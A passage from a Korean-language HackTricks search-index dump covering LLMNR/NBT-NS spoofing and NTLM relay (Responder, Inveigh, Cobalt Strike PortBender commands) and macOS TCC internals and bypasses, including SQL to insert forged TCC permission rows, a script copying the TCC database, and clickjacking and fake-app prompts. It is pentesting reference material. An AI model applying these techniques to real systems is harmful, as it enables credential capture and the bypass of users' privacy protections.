더 쉽게 크랙할 수 있는 시도를 할 수 있습니다. 이러한 기술을 사용하는 것은 법적이고 윤리적으로 수행되어야 하며, 적절한 승인을 보장하고 중단이나 무단 접근을 피해야 합니다.","breadcrumbs":"Pentesting Network » Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks » Responder로 자격 증명 캡처","id":"264","title":"Responder로 자격 증명 캡처"},"2640":{"body":"Reading time: 17 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC","id":"2640","title":"macOS TCC"},"2641":{"body":"**TCC (투명성, 동의 및 제어)**는 애플리케이션 권한을 규제하는 데 중점을 둔 보안 프로토콜입니다. 그 주요 역할은 위치 서비스, 연락처, 사진, 마이크, 카메라, 접근성 및 전체 디스크 접근 과 같은 민감한 기능을 보호하는 것입니다. TCC는 이러한 요소에 대한 앱 접근을 허용하기 전에 명시적인 사용자 동의를 요구함으로써 개인 정보 보호와 사용자 데이터에 대한 제어를 강화합니다. 사용자는 애플리케이션이 보호된 기능에 대한 접근을 요청할 때 TCC를 경험합니다. 이는 사용자가 접근을 승인하거나 거부 할 수 있는 프롬프트를 통해 표시됩니다. 또한, TCC는 파일을 애플리케이션으로 드래그 앤 드롭 하는 것과 같은 직접적인 사용자 행동을 수용하여 특정 파일에 대한 접근을 허용하며, 애플리케이션이 명시적으로 허용된 것만 접근할 수 있도록 보장합니다. TCC 프롬프트의 예 TCC 는 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd에 위치한 데몬 에 의해 처리되며, /System/Library/LaunchDaemons/com.apple.tccd.system.plist에서 구성됩니다 (mach 서비스 com.apple.tccd.system 등록). 로그인한 사용자마다 실행되는 사용자 모드 tccd 가 /System/Library/LaunchAgents/com.apple.tccd.plist에 정의되어 있으며, mach 서비스 com.apple.tccd와 com.apple.usernotifications.delegate.com.apple.tccd를 등록합니다. 여기에서 시스템과 사용자로서 실행 중인 tccd를 볼 수 있습니다: bash ps -ef | grep tcc\\n0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system\\n501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd 권한은 부모 애플리케이션에서 상속 되며, 권한 은 Bundle ID 와 Developer ID 를 기반으로 추적 됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » 기본 정보","id":"2641","title":"기본 정보"},"2642":{"body":"허용/거부는 다음과 같은 TCC 데이터베이스에 저장됩니다: **/Library/Application Support/com.apple.TCC/TCC.db**에 있는 시스템 전체 데이터베이스. 이 데이터베이스는 SIP 보호 되어 있어, SIP 우회만이 여기에 쓸 수 있습니다. 사용자 TCC 데이터베이스 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**는 사용자별 설정을 위한 것입니다. 이 데이터베이스는 보호되어 있어, Full Disk Access와 같은 높은 TCC 권한을 가진 프로세스만 쓸 수 있습니다(하지만 SIP로 보호되지는 않습니다). warning 이전 데이터베이스는 읽기 접근을 위한 TCC 보호 도 적용됩니다. 따라서 TCC 권한이 있는 프로세스 가 아닌 이상 일반 사용자 TCC 데이터베이스를 읽을 수 없습니다 . 그러나 이러한 높은 권한(예: FDA 또는 kTCCServiceEndpointSecurityClient )을 가진 프로세스는 사용자 TCC 데이터베이스에 쓸 수 있습니다. **/var/db/locationd/clients.plist**에 있는 세 번째 TCC 데이터베이스는 위치 서비스 에 접근할 수 있는 클라이언트를 나타냅니다. SIP 보호 파일 /Users/carlospolop/Downloads/REG.db (TCC로 읽기 접근도 보호됨)에는 모든 유효한 TCC 데이터베이스 의 위치 가 포함되어 있습니다. SIP 보호 파일 /Users/carlospolop/Downloads/MDMOverrides.plist (TCC로 읽기 접근도 보호됨)에는 더 많은 TCC 허용 권한이 포함되어 있습니다. SIP 보호 파일 /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist (누구나 읽을 수 있음)은 TCC 예외가 필요한 애플리케이션의 허용 목록입니다. tip iOS 의 TCC 데이터베이스는 **/private/var/mobile/Library/TCC/TCC.db**에 있습니다. tip 알림 센터 UI 는 시스템 TCC 데이터베이스 에 변경 을 할 수 있습니다: codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd\\n[..]\\ncom.apple.private.tcc.manager\\ncom.apple.rootless.storage.TCC 그러나 사용자는 tccutil 명령줄 유틸리티로 규칙을 삭제하거나 쿼리 할 수 있습니다. 데이터베이스 쿼리 user DB\\nsystem DB bash sqlite3 ~/Library/Application\\\\ Support/com.apple.TCC/TCC.db\\nsqlite> .schema\\n# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id\\n# The table access contains the permissions per services\\nsqlite> select service, client, auth_value, auth_reason from access;\\nkTCCServiceLiverpool|com.apple.syncdefaultsd|2|4\\nkTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2\\nkTCCServiceMicrophone|us.zoom.xos|2|2\\n[...] # Check user approved permissions for telegram\\nsqlite> select * from access where client LIKE \\"%telegram%\\" and auth_value=2;\\n# Check user denied permissions for telegram\\nsqlite> select * from access where client LIKE \\"%telegram%\\" and auth_value=0; bash sqlite3 /Library/Application\\\\ Support/com.apple.TCC/TCC.db\\nsqlite> .schema\\n# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id\\n# The table access contains the permissions per services\\nsqlite> select service, client, auth_value, auth_reason from access;\\nkTCCServiceLiverpool|com.apple.syncdefaultsd|2|4\\nkTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2\\nkTCCServiceMicrophone|us.zoom.xos|2|2\\n[...] # Get all FDA\\nsqlite> select service, client, auth_value, auth_reason from access where service = \\"kTCCServiceSystemPolicyAllFiles\\" and auth_value=2; # Check user approved permissions for telegram\\nsqlite> select * from access where client LIKE \\"%telegram%\\" and auth_value=2;\\n# Check user denied permissions for telegram\\nsqlite> select * from access where client LIKE \\"%telegram%\\" and auth_value=0; tip 두 데이터베이스를 확인하면 앱이 허용한 권한, 금지한 권한 또는 없는 권한(요청할 것입니다)을 확인할 수 있습니다. **service**는 TCC 권한 의 문자열 표현입니다. **client**는 번들 ID 또는 권한이 있는 이진 파일의 경로 입니다. **client_type**은 번들 식별자(0)인지 절대 경로(1)인지 나타냅니다. 절대 경로인 경우 실행하는 방법 **launctl load you_bin.plist**를 실행하면 됩니다. plist는 다음과 같습니다: xml \\n\\n\\n\\n\\nLabel\\ncom.example.yourbinary \\nProgram\\n/path/to/binary \\nProgramArguments\\n\\narg1\\narg2\\n \\nRunAtLoad\\n \\nKeepAlive\\n \\nStandardOutPath\\n/tmp/YourBinary.stdout\\nStandardErrorPath\\n/tmp/YourBinary.stderr\\n\\n **auth_value**는 다음과 같은 다양한 값을 가질 수 있습니다: denied(0), unknown(1), allowed(2), 또는 limited(3). **auth_reason**은 다음과 같은 값을 가질 수 있습니다: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) csreq 필드는 이진 파일을 검증하고 TCC 권한을 부여하는 방법을 나타내기 위해 존재합니다: bash # Query to get cserq in printable hex\\nselect service, client, hex(csreq) from access where auth_value=2; # To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):\\nBLOB=\\"FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003\\"\\necho \\"$BLOB\\" | xxd -r -p > terminal-csreq.bin\\ncsreq -r- -t < terminal-csreq.bin # To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):\\nREQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F \' => \' \'/designated/{print $2}\')\\necho \\"$REQ_STR\\" | csreq -r- -b /tmp/csreq.bin\\nREQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d \'\\\\n\')\\necho \\"X\'$REQ_HEX\'\\" 더 많은 정보는 다른 필드 에 대한 이 블로그 게시물 를 확인하세요. System Preferences --> Security & Privacy --> Privacy --> Files and Folders에서 앱에 이미 부여된 권한 을 확인할 수도 있습니다. tip 사용자는 **tccutil**을 사용하여 규칙을 삭제하거나 쿼리 할 수 있습니다. TCC 권한 재설정 bash # You can reset all the permissions given to an application with\\ntccutil reset All app.some.id # Reset the permissions granted to all apps\\ntccutil reset All","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » TCC 데이터베이스","id":"2642","title":"TCC 데이터베이스"},"2643":{"body":"TCC 데이터베이스 는 애플리케이션의 번들 ID 를 저장하지만, 권한을 사용하려고 요청하는 앱이 올바른 것인지 확인하기 위해 서명 에 대한 정보 도 저장 합니다. bash # From sqlite\\nsqlite> select service, client, hex(csreq) from access where auth_value=2;\\n#Get csreq # From bash\\necho FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin\\n## Get signature checks\\ncsreq -t -r /tmp/telegram_csreq.bin\\n(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = \\"6N38VWS5BX\\") and identifier \\"ru.keepcoder.Telegram\\" warning 따라서, 동일한 이름과 번들 ID를 사용하는 다른 애플리케이션은 다른 앱에 부여된 권한에 접근할 수 없습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » TCC 서명 검사","id":"2643","title":"TCC 서명 검사"},"2644":{"body":"앱은 단순히 요청 하고 접근 권한을 부여받는 것 만으로는 부족하며, 관련 권한을 가져야 합니다. 예를 들어 Telegram 은 카메라에 접근하기 위해 com.apple.security.device.camera 권한을 가지고 있습니다. 이 권한이 없는 앱 은 카메라에 접근할 수 없으며 (사용자에게 권한을 요청하지도 않습니다). 그러나 앱이 ~/Desktop, ~/Downloads 및 ~/Documents와 같은 특정 사용자 폴더에 접근하기 위해서는 특정 권한이 필요하지 않습니다. 시스템은 접근을 투명하게 처리하고 필요에 따라 사용자에게 요청 합니다. Apple의 앱은 프롬프트를 생성하지 않습니다 . 이들은 권한 목록에 사전 부여된 권한 을 포함하고 있어, 결코 팝업을 생성하지 않으며 , TCC 데이터베이스 에 나타나지도 않습니다. 예를 들어: bash codesign -dv --entitlements :- /System/Applications/Calendar.app\\n[...]\\ncom.apple.private.tcc.allow\\n\\nkTCCServiceReminders\\nkTCCServiceCalendar\\nkTCCServiceAddressBook\\n 이것은 Calendar가 사용자에게 알림, 캘린더 및 주소록에 접근할 것을 요청하는 것을 피할 것입니다. tip 권한에 대한 공식 문서 외에도 https://newosxbook.com/ent.jl 에서 비공식적인 흥미로운 정보 를 찾는 것도 가능합니다. 일부 TCC 권한은: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... 모든 권한을 정의하는 공개 목록은 없지만 이 알려진 목록 을 확인할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » 권한 및 TCC 권한","id":"2644","title":"권한 및 TCC 권한"},"2645":{"body":"$HOME (자체) $HOME/.ssh, $HOME/.aws 등 /tmp","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » 민감한 보호되지 않은 장소","id":"2645","title":"민감한 보호되지 않은 장소"},"2646":{"body":"앞서 언급했듯이, 파일에 접근하기 위해 앱으로 드래그 앤 드롭하여 접근을 부여할 수 있습니다 . 이 접근은 어떤 TCC 데이터베이스에도 명시되지 않지만 파일의 확장된 속성 으로 저장됩니다. 이 속성은 허용된 앱의 UUID 를 저장 합니다: bash xattr Desktop/private.txt\\ncom.apple.macl # Check extra access to the file\\n## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command\\nmacl_read Desktop/private.txt\\nFilename,Header,App UUID\\n\\"Desktop/private.txt\\",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3 # Get the UUID of the app\\notool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid\\nuuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 tip 흥미로운 점은 com.apple.macl 속성이 tccd가 아닌 Sandbox 에 의해 관리된다는 것입니다. 또한, 컴퓨터에서 앱의 UUID를 허용하는 파일을 다른 컴퓨터로 이동하면, 동일한 앱이 다른 UID를 가지기 때문에 해당 앱에 대한 접근 권한이 부여되지 않는다는 점에 유의하세요. 확장 속성 com.apple.macl 는 다른 확장 속성과 달리 SIP에 의해 보호되기 때문에 지울 수 없습니다. 그러나 이 게시물에서 설명된 바와 같이 , 파일을 압축 하고 삭제 한 후 압축 해제 하면 이를 비활성화할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » 사용자 의도 / com.apple.macl","id":"2646","title":"사용자 의도 / com.apple.macl"},"2647":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » TCC Privesc & Bypasses","id":"2647","title":"TCC Privesc & Bypasses"},"2648":{"body":"어떤 시점에서 TCC 데이터베이스에 대한 쓰기 접근 권한을 얻으면 다음과 같은 방법을 사용하여 항목을 추가할 수 있습니다(주석을 제거하세요): TCC에 삽입 예제\\nsql INSERT INTO access (\\nservice,\\nclient,\\nclient_type,\\nauth_value,\\nauth_reason,\\nauth_version,\\ncsreq,\\npolicy_id,\\nindirect_object_identifier_type,\\nindirect_object_identifier,\\nindirect_object_code_identity,\\nflags,\\nlast_modified,\\npid,\\npid_version,\\nboot_uuid,\\nlast_reminded\\n) VALUES (\\n\'kTCCServiceSystemPolicyDesktopFolder\', -- service\\n\'com.googlecode.iterm2\', -- client\\n0, -- client_type (0 - bundle id)\\n2, -- auth_value (2 - allowed)\\n3, -- auth_reason (3 - \\"User Set\\")\\n1, -- auth_version (always 1)\\nX\'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000\', -- csreq is a BLOB, set to NULL for now\\nNULL, -- policy_id\\nNULL, -- indirect_object_identifier_type\\n\'UNUSED\', -- indirect_object_identifier - default value\\nNULL, -- indirect_object_code_identity\\n0, -- flags\\nstrftime(\'%s\', \'now\'), -- last_modified with default current timestamp\\nNULL, -- assuming pid is an integer and optional\\nNULL, -- assuming pid_version is an integer and optional\\n\'UNUSED\', -- default value for boot_uuid\\nstrftime(\'%s\', \'now\') -- last_reminded with default current timestamp\\n);","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » TCC에 삽입","id":"2648","title":"TCC에 삽입"},"2649":{"body":"TCC 권한이 있는 앱에 들어갈 수 있었다면, 이를 악용하기 위한 TCC 페이로드를 확인하세요: macOS TCC Payloads","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » TCC 페이로드","id":"2649","title":"TCC 페이로드"},"265":{"body":"Inveigh는 Windows 시스템을 위한 침투 테스터 및 레드 팀원을 위한 도구입니다. Responder와 유사한 기능을 제공하며, 스푸핑 및 중간자 공격을 수행합니다. 이 도구는 PowerShell 스크립트에서 C# 바이너리로 발전하였으며, Inveigh 및 InveighZero 가 주요 버전입니다. 자세한 매개변수 및 지침은 wiki 에서 확인할 수 있습니다. Inveigh는 PowerShell을 통해 운영할 수 있습니다: bash Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y C# 바이너리로 실행됨: bash Inveigh.exe","breadcrumbs":"Pentesting Network » Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks » Inveigh","id":"265","title":"Inveigh"},"2650":{"body":"Apple Events에 대해 알아보세요: macOS Apple Events","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » Apple Events","id":"2650","title":"Apple Events"},"2651":{"body":"Automation 권한의 TCC 이름은: kTCCServiceAppleEvents 이 특정 TCC 권한은 TCC 데이터베이스 내에서 관리할 수 있는 애플리케이션 을 나타냅니다 (따라서 권한이 모든 것을 관리할 수 있는 것은 아닙니다). Finder 는 항상 FDA를 가지고 있는 애플리케이션입니다 (UI에 나타나지 않더라도), 따라서 Automation 권한이 있다면, 이를 악용하여 일부 작업을 수행하게 할 수 있습니다 . 이 경우 귀하의 앱은 **com.apple.Finder**에 대한 kTCCServiceAppleEvents 권한이 필요합니다. 사용자의 TCC.db 훔치기\\nSteal systems TCC.db applescript # This AppleScript will copy the system TCC database into /tmp\\nosascript< \\"/tmp/script.js\\" <\\n\\n\\n\\nServices\\n\\nSystemPolicyAllFiles\\n\\n\\nCodeRequirement\\nidentifier "com.apple.Terminal" and anchor apple\\nIdentifierType\\nbundleID\\nIdentifier\\ncom.apple.Terminal\\n\\n\\n\\n\\n","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » SIP Bypass to TCC Bypass","id":"2659","title":"SIP Bypass to TCC Bypass"},"266":{"body":"이 공격은 SMB 인증 세션을 활용하여 대상 머신에 접근하며, 성공할 경우 시스템 셸을 부여합니다. 주요 전제 조건은 다음과 같습니다: 인증하는 사용자는 중계된 호스트에서 로컬 관리자 권한을 가져야 합니다. SMB 서명이 비활성화되어야 합니다. 445 포트 포워딩 및 터널링 직접적인 네트워크 소개가 불가능한 시나리오에서는 445 포트의 트래픽을 포워딩하고 터널링해야 합니다. PortBender 와 같은 도구는 포트 445 트래픽을 다른 포트로 리디렉션하는 데 도움을 주며, 이는 드라이버 로딩을 위한 로컬 관리자 접근이 가능할 때 필수적입니다. PortBender 설정 및 Cobalt Strike에서의 작동: bash Cobalt Strike -> Script Manager -> Load (Select PortBender.cna) beacon> cd C:\\\\Windows\\\\system32\\\\drivers # Navigate to drivers directory\\nbeacon> upload C:\\\\PortBender\\\\WinDivert64.sys # Upload driver\\nbeacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445\\nbeacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server\\nbeacon> socks 1080 # Establish a SOCKS proxy on port 1080 # Termination commands\\nbeacon> jobs\\nbeacon> jobkill 0\\nbeacon> rportfwd stop 8445\\nbeacon> socks stop","breadcrumbs":"Pentesting Network » Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks » NTLM Relay Attack","id":"266","title":"NTLM Relay Attack"},"2660":{"body":"macOS TCC Bypasses","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » TCC 우회","id":"2660","title":"TCC 우회"},"2661":{"body":"https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/ https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » 참고자료","id":"2661","title":"참고자료"},"2662":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS Apple Events » macOS Apple Events","id":"2662","title":"macOS Apple Events"},"2663":{"body":"Apple Events 는 애플의 macOS에서 애플리케이션 간의 통신을 가능하게 하는 기능입니다. 이는 macOS 운영 체제의 구성 요소인 Apple Event Manager 의 일부로, 프로세스 간 통신을 처리하는 역할을 합니다. 이 시스템은 한 애플리케이션이 다른 애플리케이션에 메시지를 보내 특정 작업을 수행하도록 요청할 수 있게 합니다. 예를 들어, 파일을 열거나, 데이터를 검색하거나, 명령을 실행하는 등의 작업입니다. mina 데몬은 /System/Library/CoreServices/appleeventsd로, 서비스 com.apple.coreservices.appleevents를 등록합니다. 이벤트를 수신할 수 있는 모든 애플리케이션은 이 데몬과 함께 자신의 Apple Event Mach Port를 제공하여 확인합니다. 그리고 애플리케이션이 이벤트를 보내고자 할 때, 해당 애플리케이션은 데몬으로부터 이 포트를 요청합니다. 샌드박스 애플리케이션은 이벤트를 보낼 수 있도록 allow appleevent-send 및 (allow mach-lookup (global-name \\"com.apple.coreservices.appleevents))와 같은 권한이 필요합니다. com.apple.security.temporary-exception.apple-events와 같은 권한은 이벤트를 보낼 수 있는 접근을 제한할 수 있으며, 이는 com.apple.private.appleevents와 같은 권한이 필요합니다. tip 메시지 전송에 대한 정보를 기록하기 위해 env 변수 **AEDebugSends**를 사용할 수 있습니다: AEDebugSends=1 osascript -e \'tell application \\"iTerm\\" to activate\' tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS Apple Events » Basic Information","id":"2663","title":"Basic Information"},"2664":{"body":"Reading time: 18 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » macOS TCC Bypasses","id":"2664","title":"macOS TCC Bypasses"},"2665":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » 기능별","id":"2665","title":"기능별"},"2666":{"body":"이것은 우회가 아니라 TCC가 작동하는 방식입니다: 쓰기에서 보호하지 않습니다 . 만약 Terminal이 사용자의 바탕화면을 읽을 수 있는 권한이 없다면 여전히 그 안에 쓸 수 있습니다 : shell-session username@hostname ~ % ls Desktop\\nls: Desktop: Operation not permitted\\nusername@hostname ~ % echo asd > Desktop/lalala\\nusername@hostname ~ % ls Desktop\\nls: Desktop: Operation not permitted\\nusername@hostname ~ % cat Desktop/lalala\\nasd **확장 속성 com.apple.macl**은 파일 에 추가되어 생성자 앱 이 이를 읽을 수 있도록 합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » 쓰기 우회","id":"2666","title":"쓰기 우회"},"2667":{"body":"사용자가 알지 못하게 TCC 프롬프트 위에 창을 올려놓는 것이 가능합니다. TCC-ClickJacking 에서 PoC를 찾을 수 있습니다. https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » TCC ClickJacking","id":"2667","title":"TCC ClickJacking"},"2668":{"body":"공격자는 **Info.plist**에서 임의의 이름 (예: Finder, Google Chrome...)을 가진 앱을 생성하고 TCC 보호 위치에 대한 접근을 요청할 수 있습니다. 사용자는 합법적인 애플리케이션이 이 접근을 요청하고 있다고 생각할 것입니다. 게다가, 합법적인 앱을 Dock에서 제거하고 가짜 앱을 올려놓는 것이 가능하므로, 사용자가 가짜 앱(같은 아이콘을 사용할 수 있음)을 클릭하면 합법적인 앱을 호출하고 TCC 권한을 요청하여 악성코드를 실행하게 되어 사용자가 합법적인 앱이 접근을 요청했다고 믿게 만들 수 있습니다. 자세한 정보와 PoC는 다음에서 확인할 수 있습니다: macOS Privilege Escalation","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » 임의 이름으로 TCC 요청","id":"2668","title":"임의 이름으로 TCC 요청"},"2669":{"body":"기본적으로 **SSH를 통한 접근은 \\"전체 디스크 접근\\"**을 필요로 했습니다. 이를 비활성화하려면 목록에 나열되어 있지만 비활성화되어 있어야 합니다(목록에서 제거하는 것은 이러한 권한을 제거하지 않습니다): 일부 악성코드가 이 보호를 우회할 수 있었던 방법 에 대한 예시는 다음과 같습니다: https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/ caution 이제 SSH를 활성화하려면 전체 디스크 접근 이 필요하다는 점에 유의하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » SSH 우회","id":"2669","title":"SSH 우회"},"267":{"body":"Metasploit : 프록시, 로컬 및 원격 호스트 세부정보로 설정합니다. smbrelayx : SMB 세션을 릴레이하고 명령을 실행하거나 백도어를 배포하는 Python 스크립트입니다. MultiRelay : 특정 사용자 또는 모든 사용자를 릴레이하고, 명령을 실행하거나 해시를 덤프하는 Responder 스위트의 도구입니다. 각 도구는 필요에 따라 SOCKS 프록시를 통해 작동하도록 구성할 수 있어, 간접 네트워크 액세스가 있는 경우에도 공격이 가능합니다.","breadcrumbs":"Pentesting Network » Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks » NTLM 릴레이 공격을 위한 기타 도구","id":"267","title":"NTLM 릴레이 공격을 위한 기타 도구"},"2670":{"body":"속성 **com.apple.macl**은 파일에 부여되어 특정 애플리케이션이 이를 읽을 수 있는 권한을 부여합니다. 이 속성은 파일을 앱으로 드래그 앤 드롭 하거나 사용자가 더블 클릭 하여 기본 애플리케이션 으로 파일을 열 때 설정됩니다. 따라서 사용자는 모든 확장을 처리하는 악성 앱을 등록 하고 Launch Services를 호출하여 파일을 열 수 있습니다 (따라서 악성 파일이 이를 읽을 수 있는 접근 권한을 부여받게 됩니다).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » 핸들 확장 - CVE-2022-26767","id":"2670","title":"핸들 확장 - CVE-2022-26767"},"2671":{"body":"권한 **com.apple.private.icloud-account-access**를 통해 com.apple.iCloudHelper XPC 서비스와 통신할 수 있으며, 이 서비스는 iCloud 토큰 을 제공합니다. iMovie 와 Garageband 는 이 권한을 가지고 있었고, 다른 앱들도 허용되었습니다. 이 권한에서 icloud 토큰을 얻기 위한 exploit에 대한 더 많은 정보 는 다음 강의를 확인하세요: #OBTS v5.0: \\"What Happens on your Mac, Stays on Apple\'s iCloud?!\\" - Wojciech Regula","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS TCC » macOS TCC Bypasses » iCloud","id":"2671","title":"iCloud"},"2672":{"body":"kTCCServiceAppleEvents 권한을 가진 앱은 다른 앱을 제어할 수 있습니다 . 이는 다른 앱에 부여된 권한을 남용할 수 있다는 것을 의미합니다 . Apple Scripts에 대한 더 많은 정보는 다음을 확인하세요: macOS Apple Scripts 예를 들어, 앱이 **iTerm**에 대한 자동화 권한 을 가지고 있다면, 이 예에서 **Terminal**이 iTerm에 접근할 수 있습니다: iTerm에서 FDA가 없는 Terminal은 iTerm을 호출할 수 있으며, 이를 사용하여 작업을 수행할 수 있습니다: iterm.script tell application \\"iTerm\\"\\nactivate\\ntell 